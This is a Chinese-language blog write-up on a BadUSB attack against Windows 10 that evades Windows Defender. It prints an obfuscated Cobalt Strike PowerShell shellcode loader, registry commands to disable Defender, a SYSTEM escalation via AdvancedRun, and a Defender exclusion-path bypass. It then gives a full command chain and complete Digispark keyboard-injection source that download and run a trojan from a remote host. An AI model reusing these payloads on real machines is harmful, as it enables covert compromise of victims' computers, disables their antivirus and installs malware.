badusb针对windowsDefender的免杀思路

​ 本实验在windows10版本达成badusb攻击环境的搭建,并达成免杀。

一、cs的基本使用

​ cs强于msf的关键就在于,msf的攻击程序都默认运行在本机上,攻击者需要在本机上操作,才能达成完整的攻击流程,而这样的要求,对于公网服务器用户是极为不方便的。与之对应的,cs的架构如下:

image-20220907152958346

​ 攻击者团队中的成员可以共享与公网server连接的shell,并通过server控制靶机,这样当攻击者下线后,只要服务器不关闭,shell就一直存在(当然,持久化也能达到同样的效果)。同时,在服务器端需要进行的操作也仅仅是在安装java环境后,开启teamserver服务器,不需要额外的操作。

image-20220903154223922

​ 在服务器端打开后,在客户端启动客户端程序,并与之进行连接即可。这里记录一下优秀的cs下载地址:

二、免杀思路

要达成windows defender免杀,其实有三种思路:

  1. 通过设计后门脚本,通过加壳、混淆等方式使得脚本无法被杀毒软件识别,达成免杀
  2. 通过使用badusb自带的命令执行,直接将windows defender沉默,使其防御彻底失效,达成免杀
  3. 通过处理,将后门脚本通过合规的手段,在windows defender中设为免杀项,达成免杀

本文中,最终达成免杀的方式是 方案三,但是本文也将记录前两个方案的实践过程和遇到的问题。

1、powershell免杀程序的尝试

混淆尝试:

cs可以一键生成powershell的payload如下图:

image-20220907153745849

这个程序是无法静态免杀的,我们可以通过base64+拼接实现对于windows defender的静态免杀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Set-StrictMode -Version 2

$DoIt1 = 'CmZ1bmN0aW9uIGFzZHNhIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZ'
$DoIt2 = @'
WR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLk此处省略一部分内容IChzZGZ6enogQChbSW50UHRyXSkgKFtWb2
'@
$DoIt3 = 'lkXSkpKQokdmFyX3J1bm1lLkludm9rZShbSW50UHRyXTo6WmVybyk='

$DoIt = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt1 + $DoIt2 + $DoIt3))
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}

​ 然而,即使绕过了静态免杀也没有用,使用如下语句执行脚本:

1
powershell -ExecutionPolicy bypass -File .\payload.ps1

​ 执行脚本时,依然会给你如下报错:

image-20220907165056830

脚本内容解析:

引导程序:

1
2
3
4
5
6
7
8
If ([IntPtr]::size -eq 8) {
#使用int指针大小是否为8,判断系统位数是否为x64
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
#开始执行DoIt的代码
}
else {
IEX $DoIt
}

主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
function func_get_proc_address {
#高级函数
Param ($var_module, $var_procedure) #两个参数

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
#[AppDomain]::CurrentDomain.GetAssemblies()获取appdomian的程序集
#通过管道符,找到System.dll
#使用getType访问unsafeMethod
#综上,通过一系列操作,访问了UnsafeNativeMethods,这是由于该内部类不允许直接访问,故需要通过上述方式绕过

$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
#从中提取能访问GetProcAddress,用于检索指定的动态链接库(DLL)中的输出库函数地址
#搜索参数与指定参数类型匹配的指定公共方法。

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}


function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

#然后是一个AssemblyBuilder.DefineDynamicAssembly 方法,主要用来定义动态程序集。
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

#解密base64,得到byte数组,可以接[byte[]]$var_code[0..10]查看其内部的内容
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMaEpGYCMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TCi4pIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcGxINFBMNFhENERIjIyMjIw==')

#$var_code.Count = 260608
for ($x = 0; $x -lt $var_code.Count; $x++) {
#遍历其中的元素,异或解密
$var_code[$x] = $var_code[$x] -bxor 35
}

#通过委托实例调用方法,并且GetDelegateForFunctionPointer可以将非托管函数指针转换为委托
#传递给委托方法的第一个参数是对VirtualAlloc的调用;第二个参数是动态创建的程序集
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
#相当于将一个函数的调用模型赋值给一个变量,后续进行调用

##[System.Runtime.InteropServices.Marshal]::Copy:将数据从非托管内存指针复制到托管单精度浮点数数组

#调用$var_va中的func_get_delegate_type函数,传入参数
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)

剩下的,看不懂了,可以参看:

https://cloud.tencent.com/developer/article/1873609?from=article.detail.1873706

​ 总而言之,现在遇到的问题就是通过简单的对于文件格式的拆解虽然可以达成静态的免杀,但是由于Beacon自带的特征,一旦程序进入运行状态,就导致会被windows defender干掉,若能对powershell理解更为深刻,手动重构代码,可能能够达成进一步的免杀。

2、使用注册表沉默Windows defender之路

使用注册表沉默windows defender:

​ 在失败构造免杀脚本后,我产生了一个大胆的想法,是否能够直接沉默windows defender,使其失效,在探索过后,我发现自windows defender添加了防篡改功能,就不容易沉默windows defender了,研究收获如下:

​ 要沉默windows defender,有两个路径的表项需要进行修改:

  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
  • HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

​ 对于第一个表项,需要添加:

  • DisableAntiSpyware : 1
  • DisableAntiVirus : 1

可使用语句如下:

1
2
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f

对于第二个表项,需要修改:

  • STATE = 0x00060100

理论上,可使用语句:

1
reg add "HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}" /v STATE /t reg_dword /d "0x00060100" /f

​ 然而自windows defender添加防篡改功能后,不能使用此语句进行修改,会报无权限错误,即使提权到管理员权限,依然不能操纵改值,我们参看如下官方文档:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide

Tamper protection essentially locks Microsoft Defender Antivirus to its secure, default values, and prevents your security settings from being changed through apps and methods such as:

  • Configuring settings in Registry Editor on your Windows device
  • Changing settings through PowerShell cmdlets
  • Editing or removing security settings through Group Policy

​ 其意为,防篡改保护将如下的索性设定为固定值,并防止这些设置受到如下方式的更改,包括:

  • windows设备的注册表编辑器中配置
  • 通过powershell cmdlet更改
  • 通过组策略更改

​ 我们打开注册表手动更改,发现依然无法更改:

image-20220909132145268

​ 同样的,源本可以使用powershell执行如下代码,直接关闭windows defender,开启防篡改后,此方法也变为无效方法:

1
2
3
$preferences = Get-MpPreference

Set-MpPreference -DisableRealtimeMonitoring (!$preferences.DisableRealtimeMonitoring)

​ 顺理成章地,我们应尝试关闭windows defender的防篡改(Tamper Protection)功能,才能对我们想修改的配置进行编辑。

尝试关闭Tamper Protection

​ 首先,可使用如下语句查看防篡改功能开启情况:

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"

​ 返回结果中的数值5代表开启,数值4则代表关闭。

​ 理论上,应通过下面的语句关闭Windows Defneder,即设置数值为4:

1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f

​ 然而,防篡改本身也有防篡改。

对于进一步提权的尝试

​ 在执行上述语句的过程中,无论我们是以当前用户权限,还是以管理员身份打开cmd,执行都会显示如下结果:

image-20220909135149021

​ 我们不得不质疑,是否是我们的权限依然不够呢?

​ 在windows 的权限管理机制下,凌驾于所有LocalUserWebUser之上还有一类用户,叫做LocalSystem,正常情况下,我们无法提升到此权限,但是我们可以依靠提权工具AdvancedRun.exe,在如下地址下载:

https://www.nirsoft.net/utils/advanced_run.html

​ 而后,可以使用语句:

1
AdvancedRun.exe /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /RunAs 8 /Run

​ 进行提权,提权后,权限为:nt authority\system

​ 我们可以使用此权限打开任意的命令行窗口或者powershell,并按照上述思路进行命令执行,然而,在提升权限后,虽然命令不再执行失败,但是执行后依然无法绕过Tamper Protection的防护,体现为没有任何效果:

​ 注意:

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender : 1

​ 会导致windows defender报毒,不过反正也走不通,所以无所谓了,至此,使用注册表沉默windows defender彻底失败。

3、将恶意脚本添加到排除项

​ 经过上述操作,发现在防篡改机制存在的情况下修改windows defender相关的注册表,因而应在不修改配置的情况下,尽量排除脚本,最终使用的方法是,使用注册表配置排除项,使得木马不会被查杀。

​ 我们可以通过手动添加注册表,然后在注册表中搜索对应项目:

image-20220909153703845

​ 将位置锁定到注册表:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths

​ 可以看到,不同于配置信息在policies文件夹下,此配置在softwarew文件夹下,因此不受到Tamper Protection的控制,我们可以直接通过命令修改该排除项(当然,要保持在nt authority\system权限下,具体方法可以参看上一部分),使用如下命令:

1
2
3
AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\1_wua" /d 0 /t REG_DWORD /f

4、完整思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#创建排除项文件夹
md C:\1_wua
#切换到排除项目录下
cd C:\1_wua
#下载提权脚本
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.0.1/tools/ar.exe','AdvancedRun.exe')
#提权运行新的cmd
AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run
#添加排除项到排除项目录
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\1_wua" /d 0 /t REG_DWORD /f
#切换到排除项目录下
cd C:\1_wua
#使用powershell下载木马文件
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.0.1/tools/sl.exe','HKLHhost.exe')
#提权运行木马文件,防止进程被意外杀死
AdvancedRun.exe /EXEFilename "c:\1_wua\HKLHhost.exe" /RunAs 8 /Run

三、badusb脚本编写

略过脚本编写过程,具体需要按照开发板类型自行调整:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//www.huapidan.com QQ&WeChate:1499259
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76

void setup() {

DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("md C:")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("1_wua"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("cd C:")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("1_wua"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.0.1/tools/ar.exe','AdvancedRun.exe')"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("AdvancedRun.exe /EXEFilename ")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F("c:")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("windows")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("system32")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("cmd.exe")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F(" /RunAs 8 /Run"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("reg add ")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F("HKEY_LOCAL_MACHINE")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("SOFTWARE")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("Microsoft")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("Windows Defender")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("Exclusions")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("Paths")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F(" /v ")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F("c:")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("1_wua")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F(" /d 0 /t REG_DWORD /f"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cd C:")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("1_wua"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("powershell (new-object System.Net.WebClient).DownloadFile('http://92.168.0.1/tools/sl.exe','HKLHhost.exe')"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("AdvancedRun.exe /EXEFilename ")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F("c:")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("1_wua")); DigiKeyboard.print(char(92)); DigiKeyboard.print(F("HKLHhost.exe")); DigiKeyboard.print(char(34)); DigiKeyboard.print(F(" /RunAs 8 /Run"));
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("you are fucked!"));

}


void loop() {

}

四、参考文献

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender

https://www.freebuf.com/articles/network/324952.html